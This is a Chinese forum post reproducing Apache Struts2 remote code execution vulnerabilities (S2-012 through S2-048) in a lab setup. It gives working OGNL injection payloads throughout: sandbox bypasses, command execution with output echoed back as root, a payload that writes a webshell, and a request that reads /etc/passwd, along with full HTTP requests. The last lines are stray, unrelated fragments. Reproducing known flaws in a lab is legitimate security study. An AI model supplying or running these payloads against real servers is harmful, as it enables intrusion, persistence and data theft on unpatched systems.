|
|
楼主 |
发表于 2021-11-23 22:24:31
|
显示全部楼层
# S2-048 远程代码执行漏洞 (CVE-2017-9791)
环境启动后，访问 `http://your-ip:8080/showcase/` 即可查看到 struts2 的测试页面：
访问 Integration/Struts 1 Integration：
触发 OGNL 表达式的位置是 `Gangster Name` 这个表单。
输入 `${233*233}` 即可查看执行结果（剩下两个表单随意填写）：
借用 S2-045 的沙盒绕过方法，我改了一个 POC。将如下 POC 填入表单 Gengster Name 中，提交即可直接回显命令执行的结果：
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
```
在返回的信息中有如下信息：
```
Gangster uid=0(root) gid=0(root) groups=0(root) added successfully
```
你也可以直接用 s2-045 的 POC（你需要在 Burp 下进行测试）：
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
得到如下信息：
```
HTTP/1.1 200
Date: Tue, 23 Nov 2021 14:22:10 GMT
Connection: close
Content-Length: 39
uid=0(root) gid=0(root) groups=0(root)
```
# S2-046 远程代码执行漏洞（CVE-2017-5638）
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
---
打开后是这样的一个文件上传的页面：
```
<div class="container-fluid">
<div class="row-fluid">
<div class="span12">
<form id="doUpload" name="doUpload" action="/doUpload.action" method=" OST" enctype="multipart/form-data">
<table class="wwFormTable">
<tr>
<td class="tdLabel"><label for="doUpload_upload" class="label">File:</label></td>
<td
><input type="file" name="upload" value="" id="doUpload_upload"/></td>
</tr>
<tr>
<td class="tdLabel"><label for="doUpload_caption" class="label">Caption:</label></td>
<td
><input type="text" name="caption" value="" id="doUpload_caption"/></td>
</tr>
<tr>
<td colspan="2"><div align="right"><input type="submit" value="Submit" id="doUpload_0" class="btn btn-primary"/>
</div></td>
</tr>
</table></form>
```
# S2-045 远程代码执行漏洞（CVE-2017-5638）
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
---
打开后是这样的一个文件上传的页面：
```
<div class="container-fluid">
<div class="row-fluid">
<div class="span12">
<form id="doUpload" name="doUpload" action="/doUpload.action" method="OST" enctype="multipart/form-data">
<table class="wwFormTable">
<tr>
<td class="tdLabel"><label for="doUpload_upload" class="label">File:</label></td>
<td
><input type="file" name="upload" value="" id="doUpload_upload"/></td>
</tr>
<tr>
<td class="tdLabel"><label for="doUpload_caption" class="label">Caption:</label></td>
<td
><input type="text" name="caption" value="" id="doUpload_caption"/></td>
</tr>
<tr>
<td colspan="2"><div align="right"><input type="submit" value="Submit" id="doUpload_0" class="btn btn-primary"/>
</div></td>
</tr>
</table></form>
```
直接发送如下数据包，可见 233*233 已成功执行：
```
POST / HTTP/1.1
Host: your-ip:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
```
在response中得到如下信息：
```
vulhub: 54289
```
# S2-016 远程代码执行漏洞 (CVE-2013-2251)
影响版本: 2.0.0 - 2.3.15
---
打开后是这样的：
```
<html>
<head>
<title>Hello</title>
</head>
<body>
<h1>Hello world</h1>
</body>
</html>
```
在 struts2 中，DefaultActionMapper 类支持以”action:”、”redirect:”、”redirectAction:” 作为导航或是重定向前缀，但是这些前缀后面同时可以跟 OGNL 表达式，由于 struts2 没有对这些前缀做过滤，导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
所以，访问
```
http://your-ip:8080/index.action?redirect:OGNL
```
表达式即可执行 OGNL 表达式。
执行命令：
```
redirect {#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
获取 web 目录：
```
redirect{#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
写入 webshell：
```
redirect{#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```
# S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)
影响版本: 2.0.0 - 2.3.14.2
---
打开后是这样的：
```
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>S2-015</title>
</head>
<body>
<h2>S2-015 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-015.html">https://struts.apache.org/docs/s2-015.html</a></p>
<p>Welcome - <a href="./welcome.action">./welcome.action</a></p>
<p>Menu - <a href="./menu.action">./menu.action</a></p>
<p>Others - <a href="./others.action">./others.action</a></p>
<p>aram - <a href="./param.action">./param.action</a></p>
</body>
</html>
```
可以构造 Payload 如下：
```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```
将数据包修改如下：
```
GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8080/
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=6A61EB2A9DA89CD48C73C70A59B856D2
Upgrade-Insecure-Requests: 1
```
直接回显：
```
/uid%3D0%28root%29%20gid%3D0%28root%29%20groups%3D0%28root%29%0A.jsp
```
除了上面所说到的这种情况以外，S2-015 还涉及一种二次引用执行的情况：
```
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
```
这里配置了
```
<param name="errorMessage">{message}
```
其中 message 为 ParamAction 中的一个私有变量，这样配置会导致触发该 Result 时，Struts2 会从请求参数中获取 message 的值，并在解析过程中，触发了 OGNL 表达式执行，因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 {param} 引用了 Action 中的变量所导致的，并不针对于 type=”httpheader” 这种返回方式。
# S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)
打开后是这样的：
```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-013</title>
</head>
<body>
<h2>S2-013 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-013.html">https://struts.apache.org/docs/s2-013.html</a></p>
<p>Try add some parameters in URL</p>
<p><a id="link1" href="/link.action">"s:a" tag</a></p>
<p>"s:url" tag</p>
</body>
</html>
```
任意命令执行 POC：
```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
```
// 或
```
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```
如：
```
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
```
S2-014 是对 S2-013 修复的加强，在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式，因此 S2-014 是对其的补丁加强。
```
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
```
---
直接在URL中输入poc：
```
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
```
得到如下信息：
```
dbapp=uid=0(root) gid=0(root) groups=0(root)
```
成功执行命令：**id**
# S2-012 远程代码执行漏洞 (CVE-2013-1965)
影响版本: 2.1.0 - 2.3.13
---
打开后是这样的输入框：
```
<h2>S2-012 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-012.html">https://struts.apache.org/docs/s2-012.html</a></p>
<form id="user" name="user" action="/user.action" method="post">
<table class="wwFormTable">
<tr>
<td class="tdLabel"></td>
<td
><input type="text" name="name" value="" id="user_name"/></td>
</tr>
<tr>
<td colspan="2"><div align="right"><input type="submit" id="user_0" value="Submit"/>
</div></td>
</tr>
</table></form>
```
可以直接祭出 s2-001 中的回显 POC，因为这里是没有沙盒，也没有限制任何特殊字符（为什么？）。
在输入框中输入如下内容，然后用burpsuite抓包：
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
将数据包修改请求方式（修改为get方式）如下：
```
GET /user.action?name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=BA8E18342FFEF46499FDF6935D1795A4
Upgrade-Insecure-Requests: 1
```
发送请求，执行命令（在response中得到如下信息）：
```
HTTP/1.1 200
Date: Tue, 23 Nov 2021 12:13:49 GMT
Connection: close
Content-Length: 50001
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false
```
|
|
ocal version/idstring: SSH-2.0-paramiko_2.8.0
)](
)](
.php，在burp抓取的数据包中把 test.gif
)](
)](